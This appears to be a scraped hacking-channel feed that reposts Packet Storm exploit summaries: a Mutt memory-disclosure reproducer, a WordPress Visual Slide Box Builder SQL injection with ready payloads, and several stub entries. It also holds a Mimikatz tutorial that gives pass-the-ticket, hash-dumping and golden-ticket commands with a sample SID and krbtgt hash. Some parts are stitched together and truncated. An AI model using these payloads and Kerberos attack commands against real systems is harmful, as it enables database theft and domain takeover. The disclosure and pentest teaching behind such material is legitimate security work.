Exploit Collector
Mutt mutt_decode_uuencoded() Memory Disclosure

https://2.bp.blogspot.com/-weqZA-ftzQE/WWlvbeJCv3I/AAAAAAAAIPM/_poAex3uv6ENktRwTJkjqdNNBZYRKBnvQCLcBGAs/s1600/h74.png
In mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.

SHA-256 | 1a0da9d9e3bf42ea5367e18954311a408e444a40a4960bbf41e240bbab050a63

Download
mutt: mutt_decode_uuencoded() can read the past the of the input line

In mutt_decode_uuencoded(), the line length is read from the untrusted uuencoded part without validation. This could result in including private memory in replys, for example fragments of other messages, passphrases or keys.

Reproduce with the following mbox, note that these are literal 0x9f bytes. This should show some uninitialized garbage in the message.

From taviso Thu Mar 31 16:53:55 2022
From: taviso
Subject: mutt_decode_uuencoded test
Content-Disposition: inline
Content-Transfer-Encoding: x-uuencode
Content-Type: text/plain

begin 644 test
<9f
M2&5L;&\\L\"@I)9B!Y;W4@87)E(')E861I;F
M='0L('1H92!N97AT(&QI;F4*
<9f
54&QE87-E(')E
`
end.
This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is YYYY-MM-DD.
Related CVE Numbers: CVE-2022-1328.
Found by: taviso@google.com


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Xen TLB Flush Bypass

https://4.bp.blogspot.com/-d35B3EKAht8/WWlvR2pVnxI/AAAAAAAAINQ/QZoYmyhkrmYJUUDMjE8TBpD0ovVTkXuuACLcBGAs/s1600/h35.png
Xen's _get_page_type() contains an ABAC cmpxchg() race, where the code incorrectly assumes that if it reads a specific type_info value, and then later cmpxchg() succeeds, the type_info can't have changed in between.

SHA-256 | 88fe91f31a1fa5b68860cd0112d829c44076320a17d995120f8a3d426cc59af7

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome PaintImage Deserialization Out-Of-Bounds Read

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
The code in cc::PaintImageReader::Read (cc::PaintImage*) does not properly check the incoming data when handling embedded image data, resulting in an out-of-bounds copy into the filter bitmap data.

SHA-256 | 3442a632be9dec3260619421059a97062f1e5b5331769ad612a11a97ecf3ec9b

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Visual Slide Box Builder 3.2.9 SQL Injection

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
WordPress Visual Slide Box Builder plugin version 3.2.9 suffers from a remote SQL injection vulnerability.

SHA-256 | f6f431664e7cffdce804349fe1630e7178f567a1366a6e9862dff6ce51fe95c6

Download
## Title: WordPress 6.0 - Visual Slide Box Builder 3.2.9 SQLi
## Author: nu11secur1ty
## Date: 07.11.2022
## Vendor: https://wphive.com/
## Software: https://wphive.com/plugins/wp-visual-slidebox-builder/?plugin_version=3.2.9
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Visual-Slide-Box-Builder-plugin
## Description:
The parameter `idx` from the Visual Slide Box Builder plugin app for
WordPress appears to be vulnerable to SQLi.
The attacker can receive all database information from the WordPress
database and he can use it for very malicious purposes.

[+] Payloads:

```mysql
---
Parameter: idx (GET)
Type: boolean-based blind
Title: HAVING boolean-based blind - WHERE, GROUP BY clause
Payload: action=vsbb_get_one&idx=1 union select 1,2,3,4,5,sleep(3)
HAVING 1854=1854

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=vsbb_get_one&idx=1 union select 1,2,3,4,5,sleep(3)
AND (SELECT 3837 FROM (SELECT(SLEEP(7)))QHbL)

Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: action=vsbb_get_one&idx=-5038 UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x716a626a71,0x4e6b417358754d527a4a69544c57654a53574a64736b5a656e4b7968767a7a4d454243797a796d72,0x717a7a7a71),NULL,NULL#
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Visual-Slide-Box-Builder-plugin)

## Proof and Exploit:
[href](https://streamable.com/jlp5sx)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Sashimi Evil OctoBot Tentacle

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Sashimi Evil OctoBot Tentacle is a python script that exploits a vulnerability that lies in the Tentacles upload functionality of the cryptocurrency trading bot OctoBot which is designed to be easy to use and customizable. Versions 0.4.0beta3 through 0.4.3 are affected.

SHA-256 | 67657fcc4e1e91fdf6687effb98e5e02419480dc043b1f499700a2140f08b47b

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Nginx 1.20.0 Denial Of Service

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
3DES Shellcode Crypter

___________________________
@hacking_Attack
@Hacking_Video

Paraswap Deposits 1M PSP to Their Bug Bounty via Hats Finance
https://hatsfinance.medium.com/paraswap-deposits-1m-psp-to-their-bug-bounty-via-hats-finance-5dd39a87825e?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Another project extends their long term commitment to security! Shoutout to Paraswap for depositing 1M PSP tokens to their bug bounty in…Continue reading on Medium » (https://hatsfinance.medium.com/paraswap-deposits-1m-psp-to-their-bug-bounty-via-hats-finance-5dd39a87825e?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Paraswap Deposits 1M PSP to Their Bug Bounty via Hats Finance

Another project extends their long term commitment to security! Shoutout to Paraswap for depositing 1M PSP tokens to their bug bounty in…Continue reading on Medium »
Read more...

Hacking Articles
MimiKatz for Pentester: Kerberos

This write-up will be part of a series of articles on the tool called Mimikatz which was created in the programming language C. it is mostly used for extracting Kerberos ticket from the memory and generating golden tickets. Table of Content* Kerberos::list
* Kerberos::list /export
* Kerberos::ppt ticket.kirbi
* Kerberos::tgt
* Kerberos::ask
* Kerberos::hash
* Kerberos::golden
* Kerberos::ptc
* Kerberos::clist
* Kerberos::purge

In this scenario, we will be using Mimikatz inside the client machine to find out tickets available within the client system. Kerberos::listWe will use the command:
kerberos::list
This list command will display all the tickets available on the client machine.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTW8qEyjWivBVwqSZko5NNLNyPO5efU5EpDaJa1wrXOVis3vmy4m7JnQqYt-QnNTEp9ojbKNWWEqiO32OpbJrfD2CEUg3voGTZWlPpDDVB_3AULKRYBOPpLJ_wM0OFoB_5bFaXDbNxMZ3nsRludJn0G1gZ8sv8ws3ddoINhEyOWYshHjsmmQ1y1wjReg/s16000/1.png?w=640&ssl=1

As you can see from the above screenshot, there are 2 tickets within our client machine. The list command will provide information such as:

1. Start/End time of ticket
2. Server name
3. Client name
4. and the Flag Kerberos::list /exportNow once this information has been available and if we want to save those for future use or reference, we will use the following command:
kerberos::list /export
This will save the above TGT tickets in the Mimikatz folder in the kirbi format.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIkGqyvqFMenygH4KHaIoJMREsOFyKY8XNkWNjbg9KKfBFjcVhG81ynvTFfjvS-fgozaWP5t7I9iKuG-xCYZH_ZicoriMWWPz8X0f_cI8jUtlETOeaTf2xtiQlWuvEqwdEIHkF5hzBMcFW7suc3xNnyK5EhiTNQZo4erme4ygF6tNQdSrfbkWLRyNj8g/s16000/2.png?w=640&ssl=1

Now that the ticket has been saved in the Mimikatz folder, we renamed it to ticket.kirbi for ease of use. Note that this is not a mandatory process.

Since we have this ticket, we will now see how it can be used later on for lateral movement so that we can perform pass the ticket attack.

To perform the pass the ticket attach (ptt) we will issue the following command: Kerberos::ppt ticket.kirbiOnce the command has been executed successfully, we will issue another command misc::cmd which will open a command prompt session. We can see that the command prompt session has been opened with the domain user ignite\aarti.

Let’s try to browse the directory of the server with the user aarti by typing the following command in the command prompt:

dir \\192.168.1.188\c$ (192.168.1.188 is the server IP address)

As you can see, we are able to view all the directories of the server.

So being a non-administrator domain account, the user aarti was able to check the directory of the C drive of the server by using a PTT attack.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguLzjT2RdAh94Odvlluz5Jktra4gtn7jPjXVBMxlJFGeIDhY_XG1-f3a5rZmQJ6_me42CF_2J42-VEnp5gcLniSGMz4gQ0cxwBSNhSzBD2899ze3eiV6ketXxWKOcHO1rQwhGiSP6VZdL8jdL-2K15uUUCM6aBgmNU-O31jVQSu0IFRF0JwBlZZktmXw/s16000/3.png?w=640&ssl=1 Kerberos TGTTo display all TGT (Ticket Granting Ticket), we can use the following command:
kerberos::tgt
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH55LEUZQBls7QQXjNFth-16XvOBXjyxMPrgQnzwWCZSTABcreFNZind-1Xkfyyq0n4xi1wOkcvK0W1mjV35KdKy0ooF2iCGNfWy2haRExTVq-XRM_WdZEjWloXZdhVDyYNStpre2LE0YU_1UAIBaOZI8yKc9fIgQQr7i785BziJ2gx9URuK6AI--RSw/s16000/4.png?w=640&ssl=1 Kerberos ASKIt helps you to access the service ticket. The syntax for running this command is as follows:

Kerberos::ask /target/spn name ,where spn name is cifs:/dc1.ignite.local
kerberos::ask /target:cifs/dc1.ignite.local
To display all the service tickets, we issue the command:
kerberos::list
As we can see, we have 3 tickets listed below.

https://i0.wp.com/blog[...]

___________________________
@hacking_Attack
@Hacking_Video

ger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjnGeM1JinysuEUISOyGvRfxwEympUpIQLI5dAhvrvPs1CSngp-Dl93FmLalccCLWmwVWA2QvjWITzFbia3eKmGQ1FS7qwzDARJ1BitQFEtvJjrqtyt_AkXbeP3fXdPF65QTlPCZmQdzp68ajswzjM6qUM3ls37V6esZLY9l-LuGRXOw_us_fRv1bcAQ/s16000/5.png?w=640&ssl=1 Kerberos Hashkerberos::hash
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgF9jznzEbGQrfICFDxBh3c1wId4OXGczV2VOc3yS4v6ixlGre0ejDgYmG3xQCCGheatB5RQN6LYABPH9AbfFn91FhYdU9gnUp6m1lveS6kAGUaWIsbLDhCxHl9LwoCnDmuLbjAgJbVTGnv7Eimx0yu4yqYVsXZ4MXbrCMsmGxXh-FVWhaijDEwM2e17Q/s16000/6.png?w=640&ssl=1

This will dump all hashes available on the client machine. Kerberos ::goldenGolden Ticket Attack (GTA)

Golden Tickets are forged Ticket-Granting Tickets (TGTs), also called authentication tickets. Some basic information needed to perform this attack are:

1. Domain name: ignite.local
2. SID: S-1-5-21-1255168540-3690278322-1592948969
3. KRBTGT Hash: 5cced0cb593612f08cf4a0b4f0bcb017
4. And an impersonate user: raaz

So if we have the domain name, the SID and the hash value of krbtgt, then we can go for pass the ticket attack by generating a fake golden ticket attack.

So the command for performing GTA is as follows:
kerberos::golden /user:raaz /domain:ignite.local /sid S-1-5-21-1255168540-3690278322-1592948969 /krbtgt: 5cced0cb593612f08cf4a0b4f0bcb017 /id:500 /ptt
Where the id:500 is for administrator privilege

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS6RBlJGmZ0ZOg-hoYLAUwU2ZTHXXk56Unx12kEh9a8wiG0D3kBd45Ef_o4z_qRmgyssm4PsImPuvKiwvFbnB0ubzLvridF4M0oyPWJc18hUG9ozRUlDN8WktAf0mKcyRcIhn2JSeS3IZKLEI0yvm5NREq59y8DaWMW10ebFWzjNJSmfzOSqVjoUI6yQ/s16000/7.png?w=640&ssl=1

As shown above, the command has been completed successfully. Now let’s launch the command prompt via Mimikatz by issuing the command: misc::cmd

Via the new command prompt, we will be able to access the server directories same as in previous examples.

Another method of golden ticket attack can be performed by using the tool impacket.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUzBhCTAVUWqCUaN5oiwsVr5vI82POBVYuWv_IjbefsOKS1i69XSObZKNkFxVC9INlbD2aZHCVlKGMiYx8Tca6koDSpfTk45dW12FRFU1MYAkUtQCRY8TYKHRtBl1UpJclpUUpA_iFS8-DTkHAIQxOrUpVlzKkrYKJkvzYZwpEYwv-ZyI1e6fHsyzveg/s16000/8.png?w=640&ssl=1

When using Mimikatz or Rubeus, they will generate the ticket in .kirbi format file. But if we use impacket for golden ticket attack so that we can get the ticket, it will not give you ticket in kirbi format. It will give you the ticket in .ccache format. Kerberos::ptcSo if we have the ticket in ccache format, then we can perform the pass the ccache as shown below. Command is:
kerberos::ptc Administrator.ccache
The misc::cmd will open a new command prompt via which we will be able to access the server directories, same as our previous examples.

https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLpdxmy-qzaPx-okk6o5AfRLm5CBSJ1FxTXGMTzwS_TdJsQNN4jkhbEwCYrLAZLfA0Vyfldb311NjkE3WayMr4dgx7ZJj2J7gDGMhZ93lveaKsqKOc-W0dmjI4hxrzk46QXRKOHlgcymCjQmlRtmG1DOWbwgxjPlz99y1APcwEiNEZ2Gsp0pg03ivV3Q/s16000/9.png?w=640&ssl=1 Kerberos::clistIf we want to list all the ccache files that exist on the client system, we use the following command:
kerberos::clist Administrator.cache
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRM3fHORKs08YzG3KKthRc1n2flpts_1qwnEEzvU0ECHW8Jb7fGOjgRmybtZK_2bhBcfPmLIoYqcX3SKZEXstbYAUv4J58arH9vi9i-P-XKL6lBuGoKTWFUI27asGvb1kqhhXFn5U-TYjpv9Y9cuO3r9gfcQZ9yCuYoW1IsAQh1V0d3td0YR8OHygGUA/s16000/10.png?w=640&ssl=1 Kerberos::purgeIf we want to delete all the tickets, either ccache or kirbi format, we can use the following command:
kerberos::purge
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjEuduJhgj6WcmAoVI7bGcBQ7HzCropyj8XQpa5PTYiFf6q8k-mWhfUz2UUetduxBbSHN5KsybfWpyR-V3q0h0yKkjp4bCst1b1fONq3KtUtyQYloBVnxekMSCq_6iKAg_gyyeb_3oMjuX5XsIrwb93UcOwACxB5Kr3bTyNvyQgLnVEHrMnhDXpkzptpQ/s16[...]

___________________________
@hacking_Attack
@Hacking_Video

000/11.png?w=640&ssl=1

Author: Tirut Hawoldar is a Cyber Security Enthusiast and CTF player with 15 years of experience in IT Security and Infrastructure. Can be Contacted on LinkedIn

The post MimiKatz for Pentester: Kerberos appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video